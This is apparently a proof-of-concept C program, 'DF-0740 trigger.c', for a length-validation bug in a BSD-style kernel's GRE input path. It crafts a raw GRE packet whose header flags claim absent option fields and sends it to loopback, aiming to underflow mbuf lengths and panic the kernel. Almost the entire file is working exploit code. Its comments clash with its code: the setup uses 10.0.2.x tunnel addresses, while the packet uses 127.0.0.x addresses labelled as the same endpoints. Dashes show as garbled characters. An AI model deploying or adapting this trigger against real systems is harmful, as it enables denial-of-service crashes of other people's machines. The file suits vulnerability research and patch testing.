DF-0740 / trigger.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 | /* * DF-0740 PoC trigger โ gre_input2 missing packet length validation * * Sends a crafted GRE packet via a raw IP socket to our own address. * The kernel loops it back through ip_input โ encap4_input โ gre_input, * triggering the mbuf length underflow in gre_input2. * * In gre_input2() (sys/netinet/ip_gre.c): * hlen = 20 (outer IP hdr) + 4 (gre_h) + 4 (CP) + 4 (KP) + 4 (SP) = 36 * m->m_pkthdr.len = 24 (20 IP + 4 GRE) * m->m_data += 36; // ip_gre.c:180 โ OOB, 12 bytes past end * m->m_len -= 36; // ip_gre.c:181 โ underflow: 24-36 = -12 * m->m_pkthdr.len -= 36; // ip_gre.c:182 โ underflow: 24-36 = -12 * netisr_queue(NETISR_IP, m); // ip_gre.c:193 โ corrupted mbuf to ip_input * * The mobile-IP path checks gre_in_cksum (ip_gre.c:232), but the CP path * in gre_input2 does NOT โ it just trusts the packet is long enough. * * Build: cc -o trigger trigger.c * Run: ./trigger (as root โ needs raw socket) * * Preconditions (admin configures a GRE tunnel โ see setup.sh): * ifconfig gre0 create * ifconfig gre0 tunnel 10.0.2.15 10.0.2.16 * ifconfig gre0 inet 172.16.0.1 172.16.0.2 netmask 0xffffffff up */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/in_systm.h> #include <netinet/ip.h> #include <string.h> #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <arpa/inet.h> #define GRE_CP 0x8000 #define GRE_RP 0x4000 #define GRE_KP 0x2000 #define GRE_SP 0x1000 #define GRE_FLAGS (GRE_CP | GRE_KP | GRE_SP) /* 0xB000 */ /* A 4-byte bare GRE header, no option fields despite flags claiming them */ struct gre_h { uint16_t flags; uint16_t ptype; } __attribute__((packed)); static unsigned short in_cksum(unsigned short *addr, int len) { int nleft = len, sum = 0; unsigned short *w = addr, answer = 0; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(unsigned char *)&answer = *(unsigned char *)w; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return (unsigned short)~sum; } int main(void) { int s, on = 1; struct sockaddr_in dst; /* * Packet: 20-byte IP header + 4-byte bare GRE header = 24 bytes total. * GRE flags claim CP|KP|SP (+12 bytes options) but ZERO option bytes follow. */ unsigned char pkt[24]; struct ip *ip = (struct ip *)pkt; struct gre_h *gre = (struct gre_h *)(pkt + 20); memset(pkt, 0, sizeof(pkt)); /* IP header: src=g_dst(10.0.2.16), dst=g_src(10.0.2.15), proto=47(GRE) */ ip->ip_v = 4; ip->ip_hl = 5; ip->ip_len = htons(24); /* 20 IP + 4 GRE, NO options */ ip->ip_id = htons(0x1234); ip->ip_ttl = 64; ip->ip_p = 47; /* IPPROTO_GRE */ ip->ip_src.s_addr = inet_addr("127.0.0.2"); /* = tunnel g_dst (peer) */ ip->ip_dst.s_addr = inet_addr("127.0.0.1"); /* = tunnel g_src (local) */ ip->ip_sum = in_cksum((unsigned short *)ip, 20); /* GRE header: flags claim CP|KP|SP but NO option bytes are present */ gre->flags = htons(GRE_FLAGS); /* 0xB000 */ gre->ptype = htons(0x0800); /* ETHERTYPE_IP โ NETISR_IP path */ s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (s < 0) { perror("socket(AF_INET,SOCK_RAW,IPPROTO_RAW)"); return 1; } if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) { perror("setsockopt IP_HDRINCL"); close(s); return 1; } memset(&dst, 0, sizeof(dst)); dst.sin_family = AF_INET; dst.sin_addr.s_addr = inet_addr("127.0.0.1"); /* route to self โ loopback */ printf("[*] DF-0740 trigger: gre_input2 mbuf length underflow\n"); printf("[*] Packet: 24 bytes (20 IP + 4 GRE, NO option bytes)\n"); printf("[*] IP: src=127.0.0.2 dst=127.0.0.1 proto=47 len=24\n"); printf("[*] GRE: flags=0x%04x (CP|KP|SP) ptype=0x0800\n", GRE_FLAGS); printf("[*] In gre_input2: hlen=20+4+4+4+4=36, m_pkthdr.len=24\n"); printf("[*] => m_len underflows to -12, m_data goes OOB by 12 bytes\n"); printf("[*] Sending to 127.0.0.1 (self) โ kernel loops back to ip_input\n"); printf("[*] Expecting kernel panic from corrupted mbuf...\n"); fflush(stdout); if (sendto(s, pkt, sizeof(pkt), 0, (struct sockaddr *)&dst, sizeof(dst)) != (int)sizeof(pkt)) { perror("sendto"); close(s); return 1; } printf("[*] Packet sent. Waiting for panic...\n"); fflush(stdout); sleep(5); printf("[!] Still alive after 5s โ bug may not have triggered.\n"); close(s); return 0; } |